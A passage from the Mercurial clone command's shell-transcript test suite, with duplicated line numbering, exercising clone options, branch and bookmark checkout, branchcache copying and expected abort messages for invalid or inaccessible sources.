1 Prepare repo a:
2
2
3 $ hg init a
3 $ hg init a
4 $ cd a
4 $ cd a
5 $ echo a > a
5 $ echo a > a
6 $ hg add a
6 $ hg add a
7 $ hg commit -m test
7 $ hg commit -m test
8 $ echo first line > b
8 $ echo first line > b
9 $ hg add b
9 $ hg add b
10
10
11 Create a non-inlined filelog:
11 Create a non-inlined filelog:
12
12
13 $ $PYTHON -c 'file("data1", "wb").write("".join("%s\n" % x for x in range(10000)))'
13 $ $PYTHON -c 'file("data1", "wb").write("".join("%s\n" % x for x in range(10000)))'
14 $ for j in 0 1 2 3 4 5 6 7 8 9; do
14 $ for j in 0 1 2 3 4 5 6 7 8 9; do
15 > cat data1 >> b
15 > cat data1 >> b
16 > hg commit -m test
16 > hg commit -m test
17 > done
17 > done
18
18
19 List files in store/data (should show a 'b.d'):
19 List files in store/data (should show a 'b.d'):
20
20
21 $ for i in .hg/store/data/*; do
21 $ for i in .hg/store/data/*; do
22 > echo $i
22 > echo $i
23 > done
23 > done
24 .hg/store/data/a.i
24 .hg/store/data/a.i
25 .hg/store/data/b.d
25 .hg/store/data/b.d
26 .hg/store/data/b.i
26 .hg/store/data/b.i
27
27
28 Trigger branchcache creation:
28 Trigger branchcache creation:
29
29
30 $ hg branches
30 $ hg branches
31 default 10:a7949464abda
31 default 10:a7949464abda
32 $ ls .hg/cache
32 $ ls .hg/cache
33 branch2-served
33 branch2-served
34 checkisexec (execbit !)
34 checkisexec (execbit !)
35 checklink (symlink !)
35 checklink (symlink !)
36 checklink-target (symlink !)
36 checklink-target (symlink !)
37 checknoexec (execbit !)
37 checknoexec (execbit !)
38 rbc-names-v1
38 rbc-names-v1
39 rbc-revs-v1
39 rbc-revs-v1
40
40
41 Default operation:
41 Default operation:
42
42
43 $ hg clone . ../b
43 $ hg clone . ../b
44 updating to branch default
44 updating to branch default
45 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
45 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
46 $ cd ../b
46 $ cd ../b
47
47
48 Ensure branchcache got copied over:
48 Ensure branchcache got copied over:
49
49
50 $ ls .hg/cache
50 $ ls .hg/cache
51 branch2-served
51 branch2-served
52 checkisexec (execbit !)
52 checkisexec (execbit !)
53 checklink (symlink !)
53 checklink (symlink !)
54 checklink-target (symlink !)
54 checklink-target (symlink !)
55
55
56 $ cat a
56 $ cat a
57 a
57 a
58 $ hg verify
58 $ hg verify
59 checking changesets
59 checking changesets
60 checking manifests
60 checking manifests
61 crosschecking files in changesets and manifests
61 crosschecking files in changesets and manifests
62 checking files
62 checking files
63 2 files, 11 changesets, 11 total revisions
63 2 files, 11 changesets, 11 total revisions
64
64
65 Invalid dest '' must abort:
65 Invalid dest '' must abort:
66
66
67 $ hg clone . ''
67 $ hg clone . ''
68 abort: empty destination path is not valid
68 abort: empty destination path is not valid
69 [255]
69 [255]
70
70
71 No update, with debug option:
71 No update, with debug option:
72
72
73 #if hardlink
73 #if hardlink
74 $ hg --debug clone -U . ../c --config progress.debug=true
74 $ hg --debug clone -U . ../c --config progress.debug=true
75 linking: 1
75 linking: 1
76 linking: 2
76 linking: 2
77 linking: 3
77 linking: 3
78 linking: 4
78 linking: 4
79 linking: 5
79 linking: 5
80 linking: 6
80 linking: 6
81 linking: 7
81 linking: 7
82 linking: 8
82 linking: 8
83 linked 8 files
83 linked 8 files
84 #else
84 #else
85 $ hg --debug clone -U . ../c --config progress.debug=true
85 $ hg --debug clone -U . ../c --config progress.debug=true
86 linking: 1
86 linking: 1
87 copying: 2
87 copying: 2
88 copying: 3
88 copying: 3
89 copying: 4
89 copying: 4
90 copying: 5
90 copying: 5
91 copying: 6
91 copying: 6
92 copying: 7
92 copying: 7
93 copying: 8
93 copying: 8
94 copied 8 files
94 copied 8 files
95 #endif
95 #endif
96 $ cd ../c
96 $ cd ../c
97
97
98 Ensure branchcache got copied over:
98 Ensure branchcache got copied over:
99
99
100 $ ls .hg/cache
100 $ ls .hg/cache
101 branch2-served
101 branch2-served
102
102
103 $ cat a 2>/dev/null || echo "a not present"
103 $ cat a 2>/dev/null || echo "a not present"
104 a not present
104 a not present
105 $ hg verify
105 $ hg verify
106 checking changesets
106 checking changesets
107 checking manifests
107 checking manifests
108 crosschecking files in changesets and manifests
108 crosschecking files in changesets and manifests
109 checking files
109 checking files
110 2 files, 11 changesets, 11 total revisions
110 2 files, 11 changesets, 11 total revisions
111
111
112 Default destination:
112 Default destination:
113
113
114 $ mkdir ../d
114 $ mkdir ../d
115 $ cd ../d
115 $ cd ../d
116 $ hg clone ../a
116 $ hg clone ../a
117 destination directory: a
117 destination directory: a
118 updating to branch default
118 updating to branch default
119 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
119 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
120 $ cd a
120 $ cd a
121 $ hg cat a
121 $ hg cat a
122 a
122 a
123 $ cd ../..
123 $ cd ../..
124
124
125 Check that we drop the 'file:' from the path before writing the .hgrc:
125 Check that we drop the 'file:' from the path before writing the .hgrc:
126
126
127 $ hg clone file:a e
127 $ hg clone file:a e
128 updating to branch default
128 updating to branch default
129 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
129 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
130 $ grep 'file:' e/.hg/hgrc
130 $ grep 'file:' e/.hg/hgrc
131 [1]
131 [1]
132
132
133 Check that path aliases are expanded:
133 Check that path aliases are expanded:
134
134
135 $ hg clone -q -U --config 'paths.foobar=a#0' foobar f
135 $ hg clone -q -U --config 'paths.foobar=a#0' foobar f
136 $ hg -R f showconfig paths.default
136 $ hg -R f showconfig paths.default
137 $TESTTMP/a#0 (glob)
137 $TESTTMP/a#0 (glob)
138
138
139 Use --pull:
139 Use --pull:
140
140
141 $ hg clone --pull a g
141 $ hg clone --pull a g
142 requesting all changes
142 requesting all changes
143 adding changesets
143 adding changesets
144 adding manifests
144 adding manifests
145 adding file changes
145 adding file changes
146 added 11 changesets with 11 changes to 2 files
146 added 11 changesets with 11 changes to 2 files
147 updating to branch default
147 updating to branch default
148 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
148 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
149 $ hg -R g verify
149 $ hg -R g verify
150 checking changesets
150 checking changesets
151 checking manifests
151 checking manifests
152 crosschecking files in changesets and manifests
152 crosschecking files in changesets and manifests
153 checking files
153 checking files
154 2 files, 11 changesets, 11 total revisions
154 2 files, 11 changesets, 11 total revisions
155
155
156 Invalid dest '' with --pull must abort (issue2528):
156 Invalid dest '' with --pull must abort (issue2528):
157
157
158 $ hg clone --pull a ''
158 $ hg clone --pull a ''
159 abort: empty destination path is not valid
159 abort: empty destination path is not valid
160 [255]
160 [255]
161
161
162 Clone to '.':
162 Clone to '.':
163
163
164 $ mkdir h
164 $ mkdir h
165 $ cd h
165 $ cd h
166 $ hg clone ../a .
166 $ hg clone ../a .
167 updating to branch default
167 updating to branch default
168 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
168 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
169 $ cd ..
169 $ cd ..
170
170
171
171
172 *** Tests for option -u ***
172 *** Tests for option -u ***
173
173
174 Adding some more history to repo a:
174 Adding some more history to repo a:
175
175
176 $ cd a
176 $ cd a
177 $ hg tag ref1
177 $ hg tag ref1
178 $ echo the quick brown fox >a
178 $ echo the quick brown fox >a
179 $ hg ci -m "hacked default"
179 $ hg ci -m "hacked default"
180 $ hg up ref1
180 $ hg up ref1
181 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
181 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
182 $ hg branch stable
182 $ hg branch stable
183 marked working directory as branch stable
183 marked working directory as branch stable
184 (branches are permanent and global, did you want a bookmark?)
184 (branches are permanent and global, did you want a bookmark?)
185 $ echo some text >a
185 $ echo some text >a
186 $ hg ci -m "starting branch stable"
186 $ hg ci -m "starting branch stable"
187 $ hg tag ref2
187 $ hg tag ref2
188 $ echo some more text >a
188 $ echo some more text >a
189 $ hg ci -m "another change for branch stable"
189 $ hg ci -m "another change for branch stable"
190 $ hg up ref2
190 $ hg up ref2
191 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
191 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
192 $ hg parents
192 $ hg parents
193 changeset: 13:e8ece76546a6
193 changeset: 13:e8ece76546a6
194 branch: stable
194 branch: stable
195 tag: ref2
195 tag: ref2
196 parent: 10:a7949464abda
196 parent: 10:a7949464abda
197 user: test
197 user: test
198 date: Thu Jan 01 00:00:00 1970 +0000
198 date: Thu Jan 01 00:00:00 1970 +0000
199 summary: starting branch stable
199 summary: starting branch stable
200
200
201
201
202 Repo a has two heads:
202 Repo a has two heads:
203
203
204 $ hg heads
204 $ hg heads
205 changeset: 15:0aae7cf88f0d
205 changeset: 15:0aae7cf88f0d
206 branch: stable
206 branch: stable
207 tag: tip
207 tag: tip
208 user: test
208 user: test
209 date: Thu Jan 01 00:00:00 1970 +0000
209 date: Thu Jan 01 00:00:00 1970 +0000
210 summary: another change for branch stable
210 summary: another change for branch stable
211
211
212 changeset: 12:f21241060d6a
212 changeset: 12:f21241060d6a
213 user: test
213 user: test
214 date: Thu Jan 01 00:00:00 1970 +0000
214 date: Thu Jan 01 00:00:00 1970 +0000
215 summary: hacked default
215 summary: hacked default
216
216
217
217
218 $ cd ..
218 $ cd ..
219
219
220
220
221 Testing --noupdate with --updaterev (must abort):
221 Testing --noupdate with --updaterev (must abort):
222
222
223 $ hg clone --noupdate --updaterev 1 a ua
223 $ hg clone --noupdate --updaterev 1 a ua
224 abort: cannot specify both --noupdate and --updaterev
224 abort: cannot specify both --noupdate and --updaterev
225 [255]
225 [255]
226
226
227
227
228 Testing clone -u:
228 Testing clone -u:
229
229
230 $ hg clone -u . a ua
230 $ hg clone -u . a ua
231 updating to branch stable
231 updating to branch stable
232 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
232 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
233
233
234 Repo ua has both heads:
234 Repo ua has both heads:
235
235
236 $ hg -R ua heads
236 $ hg -R ua heads
237 changeset: 15:0aae7cf88f0d
237 changeset: 15:0aae7cf88f0d
238 branch: stable
238 branch: stable
239 tag: tip
239 tag: tip
240 user: test
240 user: test
241 date: Thu Jan 01 00:00:00 1970 +0000
241 date: Thu Jan 01 00:00:00 1970 +0000
242 summary: another change for branch stable
242 summary: another change for branch stable
243
243
244 changeset: 12:f21241060d6a
244 changeset: 12:f21241060d6a
245 user: test
245 user: test
246 date: Thu Jan 01 00:00:00 1970 +0000
246 date: Thu Jan 01 00:00:00 1970 +0000
247 summary: hacked default
247 summary: hacked default
248
248
249
249
250 Same revision checked out in repo a and ua:
250 Same revision checked out in repo a and ua:
251
251
252 $ hg -R a parents --template "{node|short}\n"
252 $ hg -R a parents --template "{node|short}\n"
253 e8ece76546a6
253 e8ece76546a6
254 $ hg -R ua parents --template "{node|short}\n"
254 $ hg -R ua parents --template "{node|short}\n"
255 e8ece76546a6
255 e8ece76546a6
256
256
257 $ rm -r ua
257 $ rm -r ua
258
258
259
259
260 Testing clone --pull -u:
260 Testing clone --pull -u:
261
261
262 $ hg clone --pull -u . a ua
262 $ hg clone --pull -u . a ua
263 requesting all changes
263 requesting all changes
264 adding changesets
264 adding changesets
265 adding manifests
265 adding manifests
266 adding file changes
266 adding file changes
267 added 16 changesets with 16 changes to 3 files (+1 heads)
267 added 16 changesets with 16 changes to 3 files (+1 heads)
268 updating to branch stable
268 updating to branch stable
269 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
269 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
270
270
271 Repo ua has both heads:
271 Repo ua has both heads:
272
272
273 $ hg -R ua heads
273 $ hg -R ua heads
274 changeset: 15:0aae7cf88f0d
274 changeset: 15:0aae7cf88f0d
275 branch: stable
275 branch: stable
276 tag: tip
276 tag: tip
277 user: test
277 user: test
278 date: Thu Jan 01 00:00:00 1970 +0000
278 date: Thu Jan 01 00:00:00 1970 +0000
279 summary: another change for branch stable
279 summary: another change for branch stable
280
280
281 changeset: 12:f21241060d6a
281 changeset: 12:f21241060d6a
282 user: test
282 user: test
283 date: Thu Jan 01 00:00:00 1970 +0000
283 date: Thu Jan 01 00:00:00 1970 +0000
284 summary: hacked default
284 summary: hacked default
285
285
286
286
287 Same revision checked out in repo a and ua:
287 Same revision checked out in repo a and ua:
288
288
289 $ hg -R a parents --template "{node|short}\n"
289 $ hg -R a parents --template "{node|short}\n"
290 e8ece76546a6
290 e8ece76546a6
291 $ hg -R ua parents --template "{node|short}\n"
291 $ hg -R ua parents --template "{node|short}\n"
292 e8ece76546a6
292 e8ece76546a6
293
293
294 $ rm -r ua
294 $ rm -r ua
295
295
296
296
297 Testing clone -u <branch>:
297 Testing clone -u <branch>:
298
298
299 $ hg clone -u stable a ua
299 $ hg clone -u stable a ua
300 updating to branch stable
300 updating to branch stable
301 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
301 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
302
302
303 Repo ua has both heads:
303 Repo ua has both heads:
304
304
305 $ hg -R ua heads
305 $ hg -R ua heads
306 changeset: 15:0aae7cf88f0d
306 changeset: 15:0aae7cf88f0d
307 branch: stable
307 branch: stable
308 tag: tip
308 tag: tip
309 user: test
309 user: test
310 date: Thu Jan 01 00:00:00 1970 +0000
310 date: Thu Jan 01 00:00:00 1970 +0000
311 summary: another change for branch stable
311 summary: another change for branch stable
312
312
313 changeset: 12:f21241060d6a
313 changeset: 12:f21241060d6a
314 user: test
314 user: test
315 date: Thu Jan 01 00:00:00 1970 +0000
315 date: Thu Jan 01 00:00:00 1970 +0000
316 summary: hacked default
316 summary: hacked default
317
317
318
318
319 Branch 'stable' is checked out:
319 Branch 'stable' is checked out:
320
320
321 $ hg -R ua parents
321 $ hg -R ua parents
322 changeset: 15:0aae7cf88f0d
322 changeset: 15:0aae7cf88f0d
323 branch: stable
323 branch: stable
324 tag: tip
324 tag: tip
325 user: test
325 user: test
326 date: Thu Jan 01 00:00:00 1970 +0000
326 date: Thu Jan 01 00:00:00 1970 +0000
327 summary: another change for branch stable
327 summary: another change for branch stable
328
328
329
329
330 $ rm -r ua
330 $ rm -r ua
331
331
332
332
333 Testing default checkout:
333 Testing default checkout:
334
334
335 $ hg clone a ua
335 $ hg clone a ua
336 updating to branch default
336 updating to branch default
337 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
337 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
338
338
339 Repo ua has both heads:
339 Repo ua has both heads:
340
340
341 $ hg -R ua heads
341 $ hg -R ua heads
342 changeset: 15:0aae7cf88f0d
342 changeset: 15:0aae7cf88f0d
343 branch: stable
343 branch: stable
344 tag: tip
344 tag: tip
345 user: test
345 user: test
346 date: Thu Jan 01 00:00:00 1970 +0000
346 date: Thu Jan 01 00:00:00 1970 +0000
347 summary: another change for branch stable
347 summary: another change for branch stable
348
348
349 changeset: 12:f21241060d6a
349 changeset: 12:f21241060d6a
350 user: test
350 user: test
351 date: Thu Jan 01 00:00:00 1970 +0000
351 date: Thu Jan 01 00:00:00 1970 +0000
352 summary: hacked default
352 summary: hacked default
353
353
354
354
355 Branch 'default' is checked out:
355 Branch 'default' is checked out:
356
356
357 $ hg -R ua parents
357 $ hg -R ua parents
358 changeset: 12:f21241060d6a
358 changeset: 12:f21241060d6a
359 user: test
359 user: test
360 date: Thu Jan 01 00:00:00 1970 +0000
360 date: Thu Jan 01 00:00:00 1970 +0000
361 summary: hacked default
361 summary: hacked default
362
362
363 Test clone with a branch named "@" (issue3677)
363 Test clone with a branch named "@" (issue3677)
364
364
365 $ hg -R ua branch @
365 $ hg -R ua branch @
366 marked working directory as branch @
366 marked working directory as branch @
367 $ hg -R ua commit -m 'created branch @'
367 $ hg -R ua commit -m 'created branch @'
368 $ hg clone ua atbranch
368 $ hg clone ua atbranch
369 updating to branch default
369 updating to branch default
370 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
370 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
371 $ hg -R atbranch heads
371 $ hg -R atbranch heads
372 changeset: 16:798b6d97153e
372 changeset: 16:798b6d97153e
373 branch: @
373 branch: @
374 tag: tip
374 tag: tip
375 parent: 12:f21241060d6a
375 parent: 12:f21241060d6a
376 user: test
376 user: test
377 date: Thu Jan 01 00:00:00 1970 +0000
377 date: Thu Jan 01 00:00:00 1970 +0000
378 summary: created branch @
378 summary: created branch @
379
379
380 changeset: 15:0aae7cf88f0d
380 changeset: 15:0aae7cf88f0d
381 branch: stable
381 branch: stable
382 user: test
382 user: test
383 date: Thu Jan 01 00:00:00 1970 +0000
383 date: Thu Jan 01 00:00:00 1970 +0000
384 summary: another change for branch stable
384 summary: another change for branch stable
385
385
386 changeset: 12:f21241060d6a
386 changeset: 12:f21241060d6a
387 user: test
387 user: test
388 date: Thu Jan 01 00:00:00 1970 +0000
388 date: Thu Jan 01 00:00:00 1970 +0000
389 summary: hacked default
389 summary: hacked default
390
390
391 $ hg -R atbranch parents
391 $ hg -R atbranch parents
392 changeset: 12:f21241060d6a
392 changeset: 12:f21241060d6a
393 user: test
393 user: test
394 date: Thu Jan 01 00:00:00 1970 +0000
394 date: Thu Jan 01 00:00:00 1970 +0000
395 summary: hacked default
395 summary: hacked default
396
396
397
397
398 $ rm -r ua atbranch
398 $ rm -r ua atbranch
399
399
400
400
401 Testing #<branch>:
401 Testing #<branch>:
402
402
403 $ hg clone -u . a#stable ua
403 $ hg clone -u . a#stable ua
404 adding changesets
404 adding changesets
405 adding manifests
405 adding manifests
406 adding file changes
406 adding file changes
407 added 14 changesets with 14 changes to 3 files
407 added 14 changesets with 14 changes to 3 files
408 updating to branch stable
408 updating to branch stable
409 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
409 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
410
410
411 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
411 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
412
412
413 $ hg -R ua heads
413 $ hg -R ua heads
414 changeset: 13:0aae7cf88f0d
414 changeset: 13:0aae7cf88f0d
415 branch: stable
415 branch: stable
416 tag: tip
416 tag: tip
417 user: test
417 user: test
418 date: Thu Jan 01 00:00:00 1970 +0000
418 date: Thu Jan 01 00:00:00 1970 +0000
419 summary: another change for branch stable
419 summary: another change for branch stable
420
420
421 changeset: 10:a7949464abda
421 changeset: 10:a7949464abda
422 user: test
422 user: test
423 date: Thu Jan 01 00:00:00 1970 +0000
423 date: Thu Jan 01 00:00:00 1970 +0000
424 summary: test
424 summary: test
425
425
426
426
427 Same revision checked out in repo a and ua:
427 Same revision checked out in repo a and ua:
428
428
429 $ hg -R a parents --template "{node|short}\n"
429 $ hg -R a parents --template "{node|short}\n"
430 e8ece76546a6
430 e8ece76546a6
431 $ hg -R ua parents --template "{node|short}\n"
431 $ hg -R ua parents --template "{node|short}\n"
432 e8ece76546a6
432 e8ece76546a6
433
433
434 $ rm -r ua
434 $ rm -r ua
435
435
436
436
437 Testing -u -r <branch>:
437 Testing -u -r <branch>:
438
438
439 $ hg clone -u . -r stable a ua
439 $ hg clone -u . -r stable a ua
440 adding changesets
440 adding changesets
441 adding manifests
441 adding manifests
442 adding file changes
442 adding file changes
443 added 14 changesets with 14 changes to 3 files
443 added 14 changesets with 14 changes to 3 files
444 updating to branch stable
444 updating to branch stable
445 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
445 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
446
446
447 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
447 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
448
448
449 $ hg -R ua heads
449 $ hg -R ua heads
450 changeset: 13:0aae7cf88f0d
450 changeset: 13:0aae7cf88f0d
451 branch: stable
451 branch: stable
452 tag: tip
452 tag: tip
453 user: test
453 user: test
454 date: Thu Jan 01 00:00:00 1970 +0000
454 date: Thu Jan 01 00:00:00 1970 +0000
455 summary: another change for branch stable
455 summary: another change for branch stable
456
456
457 changeset: 10:a7949464abda
457 changeset: 10:a7949464abda
458 user: test
458 user: test
459 date: Thu Jan 01 00:00:00 1970 +0000
459 date: Thu Jan 01 00:00:00 1970 +0000
460 summary: test
460 summary: test
461
461
462
462
463 Same revision checked out in repo a and ua:
463 Same revision checked out in repo a and ua:
464
464
465 $ hg -R a parents --template "{node|short}\n"
465 $ hg -R a parents --template "{node|short}\n"
466 e8ece76546a6
466 e8ece76546a6
467 $ hg -R ua parents --template "{node|short}\n"
467 $ hg -R ua parents --template "{node|short}\n"
468 e8ece76546a6
468 e8ece76546a6
469
469
470 $ rm -r ua
470 $ rm -r ua
471
471
472
472
473 Testing -r <branch>:
473 Testing -r <branch>:
474
474
475 $ hg clone -r stable a ua
475 $ hg clone -r stable a ua
476 adding changesets
476 adding changesets
477 adding manifests
477 adding manifests
478 adding file changes
478 adding file changes
479 added 14 changesets with 14 changes to 3 files
479 added 14 changesets with 14 changes to 3 files
480 updating to branch stable
480 updating to branch stable
481 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
481 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
482
482
483 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
483 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
484
484
485 $ hg -R ua heads
485 $ hg -R ua heads
486 changeset: 13:0aae7cf88f0d
486 changeset: 13:0aae7cf88f0d
487 branch: stable
487 branch: stable
488 tag: tip
488 tag: tip
489 user: test
489 user: test
490 date: Thu Jan 01 00:00:00 1970 +0000
490 date: Thu Jan 01 00:00:00 1970 +0000
491 summary: another change for branch stable
491 summary: another change for branch stable
492
492
493 changeset: 10:a7949464abda
493 changeset: 10:a7949464abda
494 user: test
494 user: test
495 date: Thu Jan 01 00:00:00 1970 +0000
495 date: Thu Jan 01 00:00:00 1970 +0000
496 summary: test
496 summary: test
497
497
498
498
499 Branch 'stable' is checked out:
499 Branch 'stable' is checked out:
500
500
501 $ hg -R ua parents
501 $ hg -R ua parents
502 changeset: 13:0aae7cf88f0d
502 changeset: 13:0aae7cf88f0d
503 branch: stable
503 branch: stable
504 tag: tip
504 tag: tip
505 user: test
505 user: test
506 date: Thu Jan 01 00:00:00 1970 +0000
506 date: Thu Jan 01 00:00:00 1970 +0000
507 summary: another change for branch stable
507 summary: another change for branch stable
508
508
509
509
510 $ rm -r ua
510 $ rm -r ua
511
511
512
512
513 Issue2267: Error in 1.6 hg.py: TypeError: 'NoneType' object is not
513 Issue2267: Error in 1.6 hg.py: TypeError: 'NoneType' object is not
514 iterable in addbranchrevs()
514 iterable in addbranchrevs()
515
515
516 $ cat <<EOF > simpleclone.py
516 $ cat <<EOF > simpleclone.py
517 > from mercurial import ui, hg
517 > from mercurial import ui, hg
518 > myui = ui.ui.load()
518 > myui = ui.ui.load()
519 > repo = hg.repository(myui, 'a')
519 > repo = hg.repository(myui, 'a')
520 > hg.clone(myui, {}, repo, dest="ua")
520 > hg.clone(myui, {}, repo, dest="ua")
521 > EOF
521 > EOF
522
522
523 $ python simpleclone.py
523 $ python simpleclone.py
524 updating to branch default
524 updating to branch default
525 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
525 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
526
526
527 $ rm -r ua
527 $ rm -r ua
528
528
529 $ cat <<EOF > branchclone.py
529 $ cat <<EOF > branchclone.py
530 > from mercurial import ui, hg, extensions
530 > from mercurial import ui, hg, extensions
531 > myui = ui.ui.load()
531 > myui = ui.ui.load()
532 > extensions.loadall(myui)
532 > extensions.loadall(myui)
533 > repo = hg.repository(myui, 'a')
533 > repo = hg.repository(myui, 'a')
534 > hg.clone(myui, {}, repo, dest="ua", branch=["stable",])
534 > hg.clone(myui, {}, repo, dest="ua", branch=["stable",])
535 > EOF
535 > EOF
536
536
537 $ python branchclone.py
537 $ python branchclone.py
538 adding changesets
538 adding changesets
539 adding manifests
539 adding manifests
540 adding file changes
540 adding file changes
541 added 14 changesets with 14 changes to 3 files
541 added 14 changesets with 14 changes to 3 files
542 updating to branch stable
542 updating to branch stable
543 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
543 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
544 $ rm -r ua
544 $ rm -r ua
545
545
546
546
547 Test clone with special '@' bookmark:
547 Test clone with special '@' bookmark:
548 $ cd a
548 $ cd a
549 $ hg bookmark -r a7949464abda @ # branch point of stable from default
549 $ hg bookmark -r a7949464abda @ # branch point of stable from default
550 $ hg clone . ../i
550 $ hg clone . ../i
551 updating to bookmark @
551 updating to bookmark @
552 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
552 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
553 $ hg id -i ../i
553 $ hg id -i ../i
554 a7949464abda
554 a7949464abda
555 $ rm -r ../i
555 $ rm -r ../i
556
556
557 $ hg bookmark -f -r stable @
557 $ hg bookmark -f -r stable @
558 $ hg bookmarks
558 $ hg bookmarks
559 @ 15:0aae7cf88f0d
559 @ 15:0aae7cf88f0d
560 $ hg clone . ../i
560 $ hg clone . ../i
561 updating to bookmark @ on branch stable
561 updating to bookmark @ on branch stable
562 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
562 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
563 $ hg id -i ../i
563 $ hg id -i ../i
564 0aae7cf88f0d
564 0aae7cf88f0d
565 $ cd "$TESTTMP"
565 $ cd "$TESTTMP"
566
566
567
567
568 Testing failures:
568 Testing failures:
569
569
570 $ mkdir fail
570 $ mkdir fail
571 $ cd fail
571 $ cd fail
572
572
573 No local source
573 No local source
574
574
575 $ hg clone a b
575 $ hg clone a b
576 abort: repository a not found!
576 abort: repository a not found!
577 [255]
577 [255]
578
578
579 No remote source
579 No remote source
580
580
581 #if windows
581 #if windows
582 $ hg clone http://$LOCALIP:3121/a b
582 $ hg clone http://$LOCALIP:3121/a b
583 abort: error: * (glob)
583 abort: error: * (glob)
584 [255]
584 [255]
585 #else
585 #else
586 $ hg clone http://$LOCALIP:3121/a b
586 $ hg clone http://$LOCALIP:3121/a b
587 abort: error: *refused* (glob)
587 abort: error: *refused* (glob)
588 [255]
588 [255]
589 #endif
589 #endif
590 $ rm -rf b # work around bug with http clone
590 $ rm -rf b # work around bug with http clone
591
591
592
592
593 #if unix-permissions no-root
593 #if unix-permissions no-root
594
594
595 Inaccessible source
595 Inaccessible source
596
596
597 $ mkdir a
597 $ mkdir a
598 $ chmod 000 a
598 $ chmod 000 a
599 $ hg clone a b
599 $ hg clone a b
600 abort: repository a not found!
600 abort: repository a not found!
601 [255]
601 [255]
602
602
603 Inaccessible destination
603 Inaccessible destination
604
604
605 $ hg init b
605 $ hg init b
606 $ cd b
606 $ cd b
607 $ hg clone . ../a
607 $ hg clone . ../a
608 abort: Permission denied: '../a'
608 abort: Permission denied: '../a'
609 [255]
609 [255]
610 $ cd ..
610 $ cd ..
611 $ chmod 700 a
611 $ chmod 700 a
612 $ rm -r a b
612 $ rm -r a b
613
613
614 #endif
614 #endif
615
615
616
616
617 #if fifo
617 #if fifo
618
618
619 Source of wrong type
619 Source of wrong type
620
620
621 $ mkfifo a
621 $ mkfifo a
622 $ hg clone a b
622 $ hg clone a b
623 abort: repository a not found!
623 abort: repository a not found!
624 [255]
624 [255]
625 $ rm a
625 $ rm a
626
626
627 #endif
627 #endif
628
628
629 Default destination, same directory
629 Default destination, same directory
630
630
631 $ hg init q
631 $ hg init q
632 $ hg clone q
632 $ hg clone q
633 destination directory: q
633 destination directory: q
634 abort: destination 'q' is not empty
634 abort: destination 'q' is not empty
635 [255]
635 [255]
636
636
637 destination directory not empty
637 destination directory not empty
638
638
639 $ mkdir a
639 $ mkdir a
640 $ echo stuff > a/a
640 $ echo stuff > a/a
641 $ hg clone q a
641 $ hg clone q a
642 abort: destination 'a' is not empty
642 abort: destination 'a' is not empty
643 [255]
643 [255]
644
644
645
645
646 #if unix-permissions no-root
646 #if unix-permissions no-root
647
647
648 leave existing directory in place after clone failure
648 leave existing directory in place after clone failure
649
649
650 $ hg init c
650 $ hg init c
651 $ cd c
651 $ cd c
652 $ echo c > c
652 $ echo c > c
653 $ hg commit -A -m test
653 $ hg commit -A -m test
654 adding c
654 adding c
655 $ chmod -rx .hg/store/data
655 $ chmod -rx .hg/store/data
656 $ cd ..
656 $ cd ..
657 $ mkdir d
657 $ mkdir d
658 $ hg clone c d 2> err
658 $ hg clone c d 2> err
659 [255]
659 [255]
660 $ test -d d
660 $ test -d d
661 $ test -d d/.hg
661 $ test -d d/.hg
662 [1]
662 [1]
663
663
664 re-enable perm to allow deletion
664 re-enable perm to allow deletion
665
665
666 $ chmod +rx c/.hg/store/data
666 $ chmod +rx c/.hg/store/data
667
667
668 #endif
668 #endif
669
669
670 $ cd ..
670 $ cd ..
671
671
672 Test clone from the repository in (emulated) revlog format 0 (issue4203):
672 Test clone from the repository in (emulated) revlog format 0 (issue4203):
673
673
674 $ mkdir issue4203
674 $ mkdir issue4203
675 $ mkdir -p src/.hg
675 $ mkdir -p src/.hg
676 $ echo foo > src/foo
676 $ echo foo > src/foo
677 $ hg -R src add src/foo
677 $ hg -R src add src/foo
678 $ hg -R src commit -m '#0'
678 $ hg -R src commit -m '#0'
679 $ hg -R src log -q
679 $ hg -R src log -q
680 0:e1bab28bca43
680 0:e1bab28bca43
681 $ hg clone -U -q src dst
681 $ hg clone -U -q src dst
682 $ hg -R dst log -q
682 $ hg -R dst log -q
683 0:e1bab28bca43
683 0:e1bab28bca43
684
684
685 Create repositories to test auto sharing functionality
